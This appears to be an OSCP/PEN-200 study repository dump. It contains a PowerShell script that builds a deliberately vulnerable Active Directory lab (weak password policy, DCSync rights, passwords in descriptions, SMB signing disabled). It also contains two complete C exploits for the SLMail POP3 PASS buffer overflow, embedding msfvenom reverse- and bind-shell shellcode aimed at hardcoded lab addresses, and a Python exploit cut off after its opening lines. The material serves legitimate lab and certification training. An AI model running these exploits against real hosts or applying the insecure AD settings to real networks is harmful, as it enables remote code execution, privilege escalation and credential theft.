├── Active-Directory
├── README.md
└── spawn-faerie.ps1
├── Client-Side-Attacks
└── Template.HTA
├── Exploits
├── 643-fixed.c
├── 646-fixed.c
├── SLmailExploit-C.py
├── SLmailExploit-Python.py
└── useradd.c
├── Priv-esc
└── Linux
│ ├── README.md
│ ├── gtfo.py
│ ├── gtfo.sh
│ └── requirements.txt
├── README.md
└── Transferring-Files
└── HTTPServerWithUpload.py
/Active-Directory/README.md:
--------------------------------------------------------------------------------
1 | # Overview
2 |
3 | The purpose of this directory is to provide resources, tools, and techniques that I used when I reviewed the AD section for the PEN-200/PWK
4 |
5 | ## Spawn Faerie
6 |
7 | A powershell script that automated the building process and creates a vulnerable active directory environment. Orginally modified the script to make it work on Windows
8 | Server 2016 so that it would run properly. This script was also used to build an vulnerable AD Challenge that would have been used for the Red Team Village CTF for Defcon 30.
9 |
10 | The script implements the following AD Attacks:
11 |
12 | - Abusing ACLs/ACEs
13 | - Kerberoasting
14 | - AS-REP Roasting
15 | - Abuse DnsAdmins
16 | - Password in Object Description
17 | - User Objects With Default password (Changeme123!)
18 | - Password Spraying
19 | - DCSync
20 | - Silver Ticket
21 | - Golden Ticket
22 | - Pass-the-Hash
23 | - Pass-the-Ticket
24 | - SMB Signing Disabled
25 |
26 | # Credit
27 |
28 | - @WazeHell Orginial creator of the script. You can find it here: https://github.com/WazeHell/vulnerable-AD
29 |
30 | ## TO DO:
31 |
32 | - Implement a procedure where it can import vulnerable templates for AD CS
33 | - Test the script on other Server editions that are 2016 and up
34 | - Include a AD Attack that focuses on attacking MSSQL
35 |
--------------------------------------------------------------------------------
/Active-Directory/spawn-faerie.ps1:
--------------------------------------------------------------------------------
1 | #Title: Spawn Faerie
2 | # Purpose: Create a vulnerable active directory system that can be used to test against most active directory attacks. Script was modified to build an AD box for the red team village CTF!
3 | # Orginial Credit: @WazeHell https://github.com/WazeHell/vulnerable-AD
4 |
5 | # Tested on Windows Server 2016
6 |
7 | # Instructions:
8 |
9 |
10 |
11 | # Base Configuration
12 | $Global:HumansNames = @('Andy', 'Cyan', 'Christopher', 'Craig', 'Eddie', 'Jason', 'Simon', 'Matsuko', 'Helen', 'Tiffany', 'Joe', 'Margaret', 'Billy', 'Jade', 'Lisa', 'Yujiro', 'Gabrielle', 'Simon', 'Phil', 'Max', 'Earl', 'Susan', 'Sara', 'Richard', 'Brock', 'Malebogia', 'Merrick', 'Solomon');
13 | $Global:BadPasswords = @('martindale2020', 'Merio131', 'Santiago1411', 'Svastic11', 'Visuar2626', 'Edusilden2006', 'JuanManuel494', 'JuanManuel494', 'Cris1053', 'Moreno2950', 'Adm2309', 'Vis0165', 'Blue2020$', 'Roman2020', 'BBL4NC41', 'Tito3110', 'fernando2020', 'diego2020', 'Spyre217!', 'Pgmgp128!', 'Fx55t8Ya', 'moneYmor3', 'P@ssw0rdga');
14 | $Global:HighGroups = @('Office Admin','IT Admins','Executives');
15 | $Global:MidGroups = @('Senior management','Project management');
16 | $Global:NormalGroups = @('marketing','sales','accounting');
17 | $Global:BadACL = @('GenericAll','GenericWrite','WriteOwner','WriteDACL','Self','WriteProperty');
18 | $Global:ServicesAccountsAndSPNs = @('mssql_svc,mssqlserver','http_svc,httpserver','exchange_svc,exserver');
19 | $Global:CreatedUsers = @();
20 | $Global:AllObjects = @();
21 | $Global:Domain = "";
22 | #Strings
23 | $Global:Spacing = "`t"
24 | $Global:PlusLine = "`t[+]"
25 | $Global:ErrorLine = "`t[-]"
26 | $Global:InfoLine = "`t[*]"
27 | function Write-Good { param( $String ) Write-Host $Global:PlusLine $String -ForegroundColor 'Green'}
28 | function Write-Bad { param( $String ) Write-Host $Global:ErrorLine $String -ForegroundColor 'red' }
29 | function Write-Info { param( $String ) Write-Host $Global:InfoLine $String -ForegroundColor 'gray' }
30 | function ShowBanner {
31 | $banner = @()
32 | $banner+= $Global:Spacing + ''
33 | $banner+= $Global:Spacing + '@@@@@@@@ @@@@@@ @@@@@@@@ @@@@@@@ @@@ @@@@@@@@'
34 | $banner+= $Global:Spacing + '@@@@@@@@ @@@@@@@@ @@@@@@@@ @@@@@@@@ @@@ @@@@@@@@'
35 | $banner+= $Global:Spacing + '@@! @@! @@@ @@! @@! @@@ @@! @@!'
36 | $banner+= $Global:Spacing + '!@! !@! @!@ !@! !@! @!@ !@! !@!'
37 | $banner+= $Global:Spacing + '@!!!:! @!@!@!@! @!!!:! @!@!!@! !!@ @!!!:!'
38 | $banner+= $Global:Spacing + '!!!!!: !!!@!!!! !!!!!: !!@!@! !!! !!!!!:'
39 | $banner+= $Global:Spacing + '!!: !!: !!! !!: !!: :!! !!: !!:'
40 | $banner+= $Global:Spacing + ':!: :!: !:! :!: :!: !:! :!: :!:'
41 | $banner+= $Global:Spacing +':: :: ::: :: :::: :: ::: :: :: ::::'
42 | $banner+= $Global:Spacing + ': : : : : :: :: : : : : : :: ::'
43 | $banner+= $Global:Spacing + ''
44 | $banner+= $Global:Spacing + 'Modified by Tj Null'
45 | $banner | foreach-object {
46 | Write-Host $_ -ForegroundColor (Get-Random -Input @('red','Cyan','Yellow','gray','white'))
47 | }
48 | }
49 |
50 | function Faerie-GetRandom {
51 | Param(
52 | [array]$InputList
53 | )
54 | return Get-Random -InputObject $InputList
55 | }
56 | function Faerie-AddADGroup {
57 | Param(
58 | [array]$GroupList
59 | )
60 | foreach ($group in $GroupList) {
61 | Write-Info "Creating $group Group"
62 | Try { New-ADGroup -name $group -GroupScope Global } Catch {}
63 | for ($i=1; $i -le (Get-Random -Maximum 20); $i=$i+1 ) {
64 | $randomuser = (Faerie-GetRandom -InputList $Global:CreatedUsers)
65 | Write-Info "Adding $randomuser to $group"
66 | Try { Add-ADGroupMember -Identity $group -Members $randomuser } Catch {}
67 | }
68 | $Global:AllObjects += $group;
69 | }
70 | }
71 | function Faerie-AddADUser {
72 | Param(
73 | [int]$limit = 1
74 | )
75 | Add-Type -AssemblyName System.Web
76 | for ($i=1; $i -le $limit; $i=$i+1 ) {
77 | $firstname = (Faerie-GetRandom -InputList $Global:HumansNames);
78 | $lastname = (Faerie-GetRandom -InputList $Global:HumansNames);
79 | $fullname = "{0} {1}" -f ($firstname , $lastname);
80 | $SamAccountName = ("{0}.{1}" -f ($firstname, $lastname)).ToLower();
81 | $principalname = "{0}.{1}" -f ($firstname, $lastname);
82 | $generated_password = ([System.Web.Security.Membership]::GeneratePassword(12,2))
83 | Write-Info "Creating $SamAccountName User"
84 | Try { New-ADUser -Name "$firstname $lastname" -GivenName $firstname -Surname $lastname -SamAccountName $SamAccountName -UserPrincipalName $principalname@$Global:Domain -AccountPassword (ConvertTo-SecureString $generated_password -AsPlainText -Force) -PassThru | Enable-ADAccount } Catch {}
85 | $Global:CreatedUsers += $SamAccountName;
86 | }
87 |
88 | }
89 | function Faerie-AddACL {
90 | [CmdletBinding()]
91 | param(
92 | [Parameter(Mandatory=$true)]
93 | [ValidateNotNullOrEmpty()]
94 | [string]$Destination,
95 |
96 | [Parameter(Mandatory=$true)]
97 | [ValidateNotNullOrEmpty()]
98 | [System.Security.Principal.IdentityReference]$Source,
99 |
100 | [Parameter(Mandatory=$true)]
101 | [ValidateNotNullOrEmpty()]
102 | [string]$Rights
103 |
104 | )
105 | $ADObject = [ADSI]("LDAP://" + $Destination)
106 | $identity = $Source
107 | $adRights = [System.DirectoryServices.ActiveDirectoryRights]$Rights
108 | $type = [System.Security.AccessControl.AccessControlType] "Allow"
109 | $inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "All"
110 | $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $identity,$adRights,$type,$inheritanceType
111 | $ADObject.psbase.ObjectSecurity.AddAccessRule($ACE)
112 | $ADObject.psbase.commitchanges()
113 | }
114 | function Faerie-BadAcls {
115 | foreach ($abuse in $Global:BadACL) {
116 | $ngroup = Faerie-GetRandom -InputList $Global:NormalGroups
117 | $mgroup = Faerie-GetRandom -InputList $Global:MidGroups
118 | $DstGroup = Get-ADGroup -Identity $mgroup
119 | $SrcGroup = Get-ADGroup -Identity $ngroup
120 | Faerie-AddACL -Source $SrcGroup.sid -Destination $DstGroup.DistinguishedName -Rights $abuse
121 | Write-Info "BadACL $abuse $ngroup to $mgroup"
122 | }
123 | foreach ($abuse in $Global:BadACL) {
124 | $hgroup = Faerie-GetRandom -InputList $Global:HighGroups
125 | $mgroup = Faerie-GetRandom -InputList $Global:MidGroups
126 | $DstGroup = Get-ADGroup -Identity $hgroup
127 | $SrcGroup = Get-ADGroup -Identity $mgroup
128 | Faerie-AddACL -Source $SrcGroup.sid -Destination $DstGroup.DistinguishedName -Rights $abuse
129 | Write-Info "BadACL $abuse $mgroup to $hgroup"
130 | }
131 | for ($i=1; $i -le (Get-Random -Maximum 25); $i=$i+1 ) {
132 | $abuse = (Faerie-GetRandom -InputList $Global:BadACL);
133 | $randomuser = Faerie-GetRandom -InputList $Global:CreatedUsers
134 | $randomgroup = Faerie-GetRandom -InputList $Global:AllObjects
135 | if ((Get-Random -Maximum 2)){
136 | $Dstobj = Get-ADUser -Identity $randomuser
137 | $Srcobj = Get-ADGroup -Identity $randomgroup
138 | }else{
139 | $Srcobj = Get-ADUser -Identity $randomuser
140 | $Dstobj = Get-ADGroup -Identity $randomgroup
141 | }
142 | Faerie-AddACL -Source $Srcobj.sid -Destination $Dstobj.DistinguishedName -Rights $abuse
143 | Write-Info "BadACL $abuse $randomuser and $randomgroup"
144 | }
145 | }
146 | function Faerie-Kerberoasting {
147 | $selected_service = (Faerie-GetRandom -InputList $Global:ServicesAccountsAndSPNs)
148 | $svc = $selected_service.split(',')[0];
149 | $spn = $selected_service.split(',')[1];
150 | $password = Faerie-GetRandom -InputList $Global:BadPasswords;
151 | Write-Info "Kerberoasting $svc $spn"
152 | Try { New-ADServiceAccount -Name $svc -ServicePrincipalNames "$svc/$spn.$Global:Domain" -AccountPassword (ConvertTo-SecureString $password -AsPlainText -Force) -RestrictToSingleComputer -PassThru } Catch {}
153 | foreach ($sv in $Global:ServicesAccountsAndSPNs) {
154 | if ($selected_service -ne $sv) {
155 | $svc = $sv.split(',')[0];
156 | $spn = $sv.split(',')[1];
157 | Write-Info "Creating $svc services account"
158 | $password = ([System.Web.Security.Membership]::GeneratePassword(12,2))
159 | Try { New-ADServiceAccount -Name $svc -ServicePrincipalNames "$svc/$spn.$Global:Domain" -RestrictToSingleComputer -AccountPassword (ConvertTo-SecureString $password -AsPlainText -Force) -PassThru } Catch {}
160 |
161 | }
162 | }
163 | }
164 | function Faerie-ASREPRoasting {
165 | for ($i=1; $i -le (Get-Random -Maximum 6); $i=$i+1 ) {
166 | $randomuser = (Faerie-GetRandom -InputList $Global:CreatedUsers)
167 | $password = Faerie-GetRandom -InputList $Global:BadPasswords;
168 | Set-AdAccountPassword -Identity $randomuser -Reset -NewPassword (ConvertTo-SecureString $password -AsPlainText -Force)
169 | Set-ADAccountControl -Identity $randomuser -DoesNotRequirePreAuth 1
170 | Write-Info "AS-REPRoasting $randomuser"
171 | }
172 | }
173 | function Faerie-DnsAdmins {
174 | for ($i=1; $i -le (Get-Random -Maximum 6); $i=$i+1 ) {
175 | $randomuser = (Faerie-GetRandom -InputList $Global:CreatedUsers)
176 | Add-ADGroupMember -Identity "DnsAdmins" -Members $randomuser
177 | Write-Info "DnsAdmins : $randomuser"
178 | }
179 | $randomg = (Faerie-GetRandom -InputList $Global:MidGroups)
180 | Add-ADGroupMember -Identity "DnsAdmins" -Members $randomg
181 | Write-Info "DnsAdmins Nested Group : $randomg"
182 | }
183 | function Faerie-PwdInObjectDescription {
184 | for ($i=1; $i -le (Get-Random -Maximum 6); $i=$i+1 ) {
185 | $randomuser = (Faerie-GetRandom -InputList $Global:CreatedUsers)
186 | $password = ([System.Web.Security.Membership]::GeneratePassword(12,2))
187 | Set-AdAccountPassword -Identity $randomuser -Reset -NewPassword (ConvertTo-SecureString $password -AsPlainText -Force)
188 | Set-ADUser $randomuser -Description "User Password $password"
189 | Write-Info "Password in Description : $randomuser"
190 | }
191 | }
192 | function Faerie-DefaultPassword {
193 | for ($i=1; $i -le (Get-Random -Maximum 5); $i=$i+1 ) {
194 | $randomuser = (Faerie-GetRandom -InputList $Global:CreatedUsers)
195 | $password = "Changeme123!";
196 | Set-AdAccountPassword -Identity $randomuser -Reset -NewPassword (ConvertTo-SecureString $password -AsPlainText -Force)
197 | Set-ADUser $randomuser -Description "New User ,DefaultPassword"
198 | Set-AdUser $randomuser -ChangePasswordAtLogon $true
199 | Write-Info "Default Password : $randomuser"
200 | }
201 | }
202 | function Faerie-PasswordSpraying {
203 | $same_password = "ncc1701";
204 | for ($i=1; $i -le (Get-Random -Maximum 12); $i=$i+1 ) {
205 | $randomuser = (Faerie-GetRandom -InputList $Global:CreatedUsers)
206 | Set-AdAccountPassword -Identity $randomuser -Reset -NewPassword (ConvertTo-SecureString $same_password -AsPlainText -Force)
207 | Set-ADUser $randomuser -Description "Shared User"
208 | Write-Info "Same Password (Password Spraying) : $randomuser"
209 | }
210 | }
211 | function Faerie-DCSync {
212 | for ($i=1; $i -le (Get-Random -Maximum 6); $i=$i+1 ) {
213 | $ADObject = [ADSI]("LDAP://" + (Get-ADDomain $Global:Domain).DistinguishedName)
214 | $randomuser = (Faerie-GetRandom -InputList $Global:CreatedUsers)
215 | $sid = (Get-ADUser -Identity $randomuser).sid
216 |
217 | $objectGuidGetChanges = New-Object Guid 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
218 | $ACEGetChanges = New-Object DirectoryServices.ActiveDirectoryAccessRule($sid,'ExtendedRight','Allow',$objectGuidGetChanges)
219 | $ADObject.psbase.Get_objectsecurity().AddAccessRule($ACEGetChanges)
220 |
221 | $objectGuidGetChanges = New-Object Guid 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
222 | $ACEGetChanges = New-Object DirectoryServices.ActiveDirectoryAccessRule($sid,'ExtendedRight','Allow',$objectGuidGetChanges)
223 | $ADObject.psbase.Get_objectsecurity().AddAccessRule($ACEGetChanges)
224 |
225 | $objectGuidGetChanges = New-Object Guid 89e95b76-444d-4c62-991a-0facbeda640c
226 | $ACEGetChanges = New-Object DirectoryServices.ActiveDirectoryAccessRule($sid,'ExtendedRight','Allow',$objectGuidGetChanges)
227 | $ADObject.psbase.Get_objectsecurity().AddAccessRule($ACEGetChanges)
228 | $ADObject.psbase.CommitChanges()
229 |
230 | Set-ADUser $randomuser -Description "Replication Account"
231 | Write-Info "Giving DCSync to : $randomuser"
232 | }
233 | }
234 | function Faerie-DisableSMBSigning {
235 | Set-SmbClientConfiguration -RequireSecuritySignature 0 -EnableSecuritySignature 0 -Confirm -Force
236 | }
237 |
238 | function Faerie-ADCS {
239 | # References:
240 | # https://blog.wiztechtalk.com/2019/04/03/microsoft-powershell-install-and-configure-ad-certificate-services-windows-server-2016/
241 | # https://github.com/Orange-Cyberdefense/GOAD/blob/ecaa13720f77ca3ca2514f00eeec1a5b7c2dd2ef/ansible/roles/adcs/tasks/main.yml
242 | # https://docs.microsoft.com/en-us/powershell/module/adcsadministration/?view=windowsserver2022-ps
243 | # Check to see if the certificates were created: https://docs.microsoft.com/en-us/powershell/module/pki/get-certificate?view=windowsserver2022-ps
244 |
245 | Get-WindowsFeature AD-Certificate
246 | Install-WindowsFeature Adcs-Cert-Authority -IncludeManagementTools
247 | Install-WindowsFeature ADCS-Web-Enrollment
248 | Install-ADcsCertificationAuthority –Credential (Get-Credential) -CAType StandaloneRootCA –CACommonName “domain-faerie-CA-1” –CADistinguishedNameSuffix “DC=domain,DC=com” –CryptoProviderName “RSA#Microsoft Software Key Storage Provider” -KeyLength 2048 –HashAlgorithmName SHA1 –ValidityPeriod Years –ValidityPeriodUnits 3 –DatabaseDirectory “C:\windows\system32\certLog” –LogDirectory “c:\windows\system32\CertLog” –Force
249 |
250 | }
251 | function Invoke-Faerie {
252 | Param(
253 | [int]$UsersLimit = 100,
254 | [Parameter(Mandatory=$True,ValueFromPipeline=$True,ValueFromPipelineByPropertyName=$True,Position=1)]
255 | [ValidateNotNullOrEmpty()]
256 | [System.String]
257 | $DomainName
258 | )
259 | ShowBanner
260 | $Global:Domain = $DomainName
261 | Set-ADDefaultDomainPasswordPolicy -Identity $Global:Domain -LockoutDuration 00:01:00 -LockoutObservationWindow 00:01:00 -ComplexityEnabled $false -ReversibleEncryptionEnabled $False -MinPasswordLength 4
262 | Faerie-AddADUser -limit $UsersLimit
263 | Write-Good "Users Created"
264 | Faerie-AddADGroup -GroupList $Global:HighGroups
265 | Write-Good "$Global:HighGroups Groups Created"
266 | Faerie-AddADGroup -GroupList $Global:MidGroups
267 | Write-Good "$Global:MidGroups Groups Created"
268 | Faerie-AddADGroup -GroupList $Global:NormalGroups
269 | Write-Good "$Global:NormalGroups Groups Created"
270 | Faerie-BadAcls
271 | Write-Good "BadACL Done"
272 | Faerie-Kerberoasting
273 | Write-Good "Kerberoasting Done"
274 | Faerie-ASREPRoasting
275 | Write-Good "AS-REPRoasting Done"
276 | Faerie-DnsAdmins
277 | Write-Good "DnsAdmins Done"
278 | Faerie-PwdInObjectDescription
279 | Write-Good "Password In Object Description Done"
280 | Faerie-DefaultPassword
281 | Write-Good "Default Password Done"
282 | Faerie-PasswordSpraying
283 | Write-Good "Password Spraying Done"
284 | Faerie-DCSync
285 | Write-Good "DCSync Done"
286 | Faerie-DisableSMBSigning
287 | Write-Good "SMB Signing Disabled"
288 | Faerie-ADCS
289 | Write-Good "AD CS Installed"
290 | }
291 |
--------------------------------------------------------------------------------
/Client-Side-Attacks/Template.HTA:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
11 |
12 | demo
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/Exploits/643-fixed.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 |
12 | //#define retadd "\x8f\x35\x4a\x5f" /*JMP ESP in SLMFC.DLL 0x5f4a358f*/
13 | #define retadd "\x8f\x35\x4a\x5f"
14 | #define port 110
15 |
16 | /* msfvenom --arch x86 -p windows/shell_reverse_tcp LHOST=192.168.117.129 R LPORT=1337 -b '\x00\x0a\x0d' -f c */
17 | //unsigned char shellcode[] =
18 | unsigned char shellcode[] =
19 | "\xbb\xc8\x2e\xb1\xfa\xdb\xca\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
20 | "\x52\x31\x5a\x12\x83\xc2\x04\x03\x92\x20\x53\x0f\xde\xd5\x11"
21 | "\xf0\x1e\x26\x76\x78\xfb\x17\xb6\x1e\x88\x08\x06\x54\xdc\xa4"
22 | "\xed\x38\xf4\x3f\x83\x94\xfb\x88\x2e\xc3\x32\x08\x02\x37\x55"
23 | "\x8a\x59\x64\xb5\xb3\x91\x79\xb4\xf4\xcc\x70\xe4\xad\x9b\x27"
24 | "\x18\xd9\xd6\xfb\x93\x91\xf7\x7b\x40\x61\xf9\xaa\xd7\xf9\xa0"
25 | "\x6c\xd6\x2e\xd9\x24\xc0\x33\xe4\xff\x7b\x87\x92\x01\xad\xd9"
26 | "\x5b\xad\x90\xd5\xa9\xaf\xd5\xd2\x51\xda\x2f\x21\xef\xdd\xf4"
27 | "\x5b\x2b\x6b\xee\xfc\xb8\xcb\xca\xfd\x6d\x8d\x99\xf2\xda\xd9"
28 | "\xc5\x16\xdc\x0e\x7e\x22\x55\xb1\x50\xa2\x2d\x96\x74\xee\xf6"
29 | "\xb7\x2d\x4a\x58\xc7\x2d\x35\x05\x6d\x26\xd8\x52\x1c\x65\xb5"
30 | "\x97\x2d\x95\x45\xb0\x26\xe6\x77\x1f\x9d\x60\x34\xe8\x3b\x77"
31 | "\x3b\xc3\xfc\xe7\xc2\xec\xfc\x2e\x01\xb8\xac\x58\xa0\xc1\x26"
32 | "\x98\x4d\x14\xe8\xc8\xe1\xc7\x49\xb8\x41\xb8\x21\xd2\x4d\xe7"
33 | "\x52\xdd\x87\x80\xf9\x24\x40\x6f\x55\x53\x11\x07\xa4\x9b\x14"
34 | "\xe1\x21\x7d\x7c\x01\x64\xd6\xe9\xb8\x2d\xac\x88\x45\xf8\xc9"
35 | "\x8b\xce\x0f\x2e\x45\x27\x65\x3c\x32\xc7\x30\x1e\x95\xd8\xee"
36 | "\x36\x79\x4a\x75\xc6\xf4\x77\x22\x91\x51\x49\x3b\x77\x4c\xf0"
37 | "\x95\x65\x8d\x64\xdd\x2d\x4a\x55\xe0\xac\x1f\xe1\xc6\xbe\xd9"
38 | "\xea\x42\xea\xb5\xbc\x1c\x44\x70\x17\xef\x3e\x2a\xc4\xb9\xd6"
39 | "\xab\x26\x7a\xa0\xb3\x62\x0c\x4c\x05\xdb\x49\x73\xaa\x8b\x5d"
40 | "\x0c\xd6\x2b\xa1\xc7\x52\x5b\xe8\x45\xf2\xf4\xb5\x1c\x46\x99"
41 | "\x45\xcb\x85\xa4\xc5\xf9\x75\x53\xd5\x88\x70\x1f\x51\x61\x09"
42 | "\x30\x34\x85\xbe\x31\x1d";
43 |
44 | struct sockaddr_in plm,lar,target;
45 |
46 | int conn(char *ip)
47 | {
48 | int sockfd;
49 | plm.sin_family = AF_INET;
50 | plm.sin_port = htons(port);
51 | plm.sin_addr.s_addr = inet_addr(ip);
52 | bzero(&(plm.sin_zero),8);
53 | sockfd = socket(AF_INET,SOCK_STREAM,0);
54 | if((connect(sockfd,(struct sockaddr *)&plm,sizeof(struct sockaddr))) < 0)
55 | {
56 | perror("[-] connect error!");
57 | exit(0);
58 | }
59 | printf("[*] Connected to: %s.\n",ip);
60 | return sockfd;
61 | }
62 |
63 | int main(int argc, char *argv[])
64 | {
65 | int xs;
66 | char out[1024];
67 | char *buffer = malloc(3500);
68 | memset(buffer, 0x00, 3500);
69 | char *off = malloc(2606);
70 | memset(off, 0x00, 2606);
71 | // memset(off, 0x41, 2605);
72 | memset(off, 0x41, 2606);
73 | // char *nop = malloc(16);
74 | // memset(nop, 0x00, 13);
75 | // memset(nop, 0x90, 12);
76 |
77 | char *nop = malloc(8);
78 | memset(nop, 0x00,8);
79 | memset(nop, 0x90,8);
80 |
81 | strcat(buffer, off);
82 | strcat(buffer, retadd);
83 | strcat(buffer, nop);
84 | strcat(buffer, shellcode);
85 |
86 | printf("[+] SLMAIL Remote buffer overflow exploit in POP3 PASS by TJnull.\n");
87 | xs = conn("192.168.117.132");
88 | read(xs, out, 1024);
89 | printf("[*] %s", out);
90 | write(xs,"USER username\r\n", 15);
91 | read(xs, out, 1024);
92 | printf("[*] %s", out);
93 | write(xs,"PASS ",5);
94 | write(xs,buffer,strlen(buffer));
95 | printf("Shellcode len: %d bytes\n",strlen(shellcode));
96 | printf("Buffer len: %d bytes\n",strlen(buffer));
97 | write(xs,"\r\n",4);
98 | close(xs);
99 | }
100 |
--------------------------------------------------------------------------------
/Exploits/646-fixed.c:
--------------------------------------------------------------------------------
1 | /*
2 | SLMAIL REMOTE PASSWD BOF - TJnull
3 | */
4 |
5 | #include
6 | #include
7 | #include
8 | #include
9 |
10 | /* To compile the exploit for windows in kali run this: i686-w64-mingw32-gcc 646-fixed.c -lws2_32 -o slmail.exe */
11 | /**
12 | * [*] bind 4444
13 | *
14 | * msfvenom --arch x86 -p windows/shell_bind_tcp LPORT=1337 -b '\x00\x0a\x0d' -f c -e x86/shikata_ga_nai
15 | *
16 | */
17 | unsigned char shellcode[] =
18 | "\xd9\xee\xd9\x74\x24\xf4\xbd\x07\xf4\xcc\xe0\x5a\x2b\xc9\xb1"
19 | "\x53\x83\xc2\x04\x31\x6a\x13\x03\x6d\xe7\x2e\x15\x8d\xef\x2d"
20 | "\xd6\x6d\xf0\x51\x5e\x88\xc1\x51\x04\xd9\x72\x62\x4e\x8f\x7e"
21 | "\x09\x02\x3b\xf4\x7f\x8b\x4c\xbd\xca\xed\x63\x3e\x66\xcd\xe2"
22 | "\xbc\x75\x02\xc4\xfd\xb5\x57\x05\x39\xab\x9a\x57\x92\xa7\x09"
23 | "\x47\x97\xf2\x91\xec\xeb\x13\x92\x11\xbb\x12\xb3\x84\xb7\x4c"
24 | "\x13\x27\x1b\xe5\x1a\x3f\x78\xc0\xd5\xb4\x4a\xbe\xe7\x1c\x83"
25 | "\x3f\x4b\x61\x2b\xb2\x95\xa6\x8c\x2d\xe0\xde\xee\xd0\xf3\x25"
26 | "\x8c\x0e\x71\xbd\x36\xc4\x21\x19\xc6\x09\xb7\xea\xc4\xe6\xb3"
27 | "\xb4\xc8\xf9\x10\xcf\xf5\x72\x97\x1f\x7c\xc0\xbc\xbb\x24\x92"
28 | "\xdd\x9a\x80\x75\xe1\xfc\x6a\x29\x47\x77\x86\x3e\xfa\xda\xcf"
29 | "\xf3\x37\xe4\x0f\x9c\x40\x97\x3d\x03\xfb\x3f\x0e\xcc\x25\xb8"
30 | "\x71\xe7\x92\x56\x8c\x08\xe3\x7f\x4b\x5c\xb3\x17\x7a\xdd\x58"
31 | "\xe7\x83\x08\xf4\xef\x22\xe3\xeb\x12\x94\x53\xac\xbc\x7d\xbe"
32 | "\x23\xe3\x9e\xc1\xe9\x8c\x37\x3c\x12\xb7\xfe\xc9\xf4\xdd\x10"
33 | "\x9c\xaf\x49\xd3\xfb\x67\xee\x2c\x2e\xd0\x98\x65\x38\xe7\xa7"
34 | "\x75\x6e\x4f\x3f\xfe\x7d\x4b\x5e\x01\xa8\xfb\x37\x96\x26\x6a"
35 | "\x7a\x06\x36\xa7\xec\xab\xa5\x2c\xec\xa2\xd5\xfa\xbb\xe3\x28"
36 | "\xf3\x29\x1e\x12\xad\x4f\xe3\xc2\x96\xcb\x38\x37\x18\xd2\xcd"
37 | "\x03\x3e\xc4\x0b\x8b\x7a\xb0\xc3\xda\xd4\x6e\xa2\xb4\x96\xd8"
38 | "\x7c\x6a\x71\x8c\xf9\x40\x42\xca\x05\x8d\x34\x32\xb7\x78\x01"
39 | "\x4d\x78\xed\x85\x36\x64\x8d\x6a\xed\x2c\xbd\x20\xaf\x05\x56"
40 | "\xed\x3a\x14\x3b\x0e\x91\x5b\x42\x8d\x13\x24\xb1\x8d\x56\x21"
41 | "\xfd\x09\x8b\x5b\x6e\xfc\xab\xc8\x8f\xd5";
42 |
43 |
44 | void exploit(int sock) {
45 | FILE *test;
46 | char *ptr; //change from 'int *ptr;' to ' char *ptr'
47 | char userbuf[] = "USER Tjnull\r\n";
48 | char evil[3001];
49 | char buf[3012];
50 | char receive[1024];
51 | char nopsled[] = "\x90\x90\x90\x90\x90\x90\x90\x90"
52 | "\x90\x90\x90\x90\x90\x90\x90\x90";
53 | memset(buf, 0x00, 3012);
54 | memset(evil, 0x00, 3001);
55 | memset(evil, 0x43, 3000);
56 | ptr = evil; //change from 'ptr =&evil ' to 'ptr = evil'
57 | ptr = ptr + 2606; // 2606 for pwk
58 | memcpy(ptr, &nopsled, 16);
59 | ptr = ptr + 16;
60 | memcpy(ptr, &shellcode, 317);
61 | *(long*)&evil[2600] = 0x5F4A358F; // JMP ESP PWK Win 7 5F4A358F FFE4 JMP ESP
62 |
63 | // banner
64 | recv(sock, receive, 200, 0);
65 | printf("[+] %s", receive);
66 | // user
67 | printf("[+] Sending Username...\n");
68 | send(sock, userbuf, strlen(userbuf), 0);
69 | recv(sock, receive, 200, 0);
70 | printf("[+] %s", receive);
71 | // passwd
72 | printf("[+] Sending Evil buffer...\n");
73 | sprintf(buf, "PASS %s\r\n", evil);
74 | //test = fopen("test.txt", "w");
75 | //fprintf(test, "%s", buf);
76 | //fclose(test);
77 | send(sock, buf, strlen(buf), 0);
78 | printf("[*] Done! Connect to the host on port 1337...\n\n");
79 | }
80 |
81 | int connect_target(char *host, u_short port)
82 | {
83 | int sock = 0;
84 | struct hostent *hp;
85 | WSADATA wsa;
86 | struct sockaddr_in sa;
87 |
88 | WSAStartup(MAKEWORD(2,0), &wsa);
89 | memset(&sa, 0, sizeof(sa));
90 |
91 | hp = gethostbyname(host);
92 | if (hp == NULL) {
93 | printf("gethostbyname() error!\n"); exit(0);
94 | }
95 | printf("[+] Connecting to %s\n", host);
96 | sa.sin_family = AF_INET;
97 | sa.sin_port = htons(port);
98 | sa.sin_addr = **((struct in_addr **) hp->h_addr_list);
99 |
100 | sock = socket(AF_INET, SOCK_STREAM, 0);
101 | if (sock < 0) {
102 | printf("[-] socket blah?\n");
103 | exit(0);
104 | }
105 | if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0)
106 | {printf("[-] connect() blah!\n");
107 | exit(0);
108 | }
109 | printf("[+] Connected to %s\n", host);
110 | return sock;
111 | }
112 |
113 |
114 | int main(int argc, char **argv)
115 | {
116 | int sock = 0;
117 | int data, port;
118 | printf("\n[$] SLMail Server POP3 PASSWD Buffer Overflow exploit\n");
119 | printf("[$] by TJnull");
120 | if ( argc < 2 ) { printf("usage: slmail.exe \n\n"); exit(0); }
121 | port = 110;
122 | sock = connect_target(argv[1], port);
123 | exploit(sock);
124 | closesocket(sock);
125 | return 0;
126 | }
--------------------------------------------------------------------------------
/Exploits/SLmailExploit-C.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # Created by TJnull
4 |
5 | import socket
6 | import struct
7 |
8 | RHOST = "192.168.117.132" #String
9 | RPORT = 110 #integer
10 |
11 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
12 |
13 | buf_totlen = 3500 #integer
14 | offset_eip = 2606 #integer
15 | ptr_jmp_esp = 0x5F4A358F # hex integer (0x)
16 |
17 | #msfvenom -p windows/shell_reverse_tcp LHOST=x.x.x.x LPORT=xxxx -f c -a x86 --platform windows -b "\x00\x0A\x0D" -e x86/shikata_ga_nai
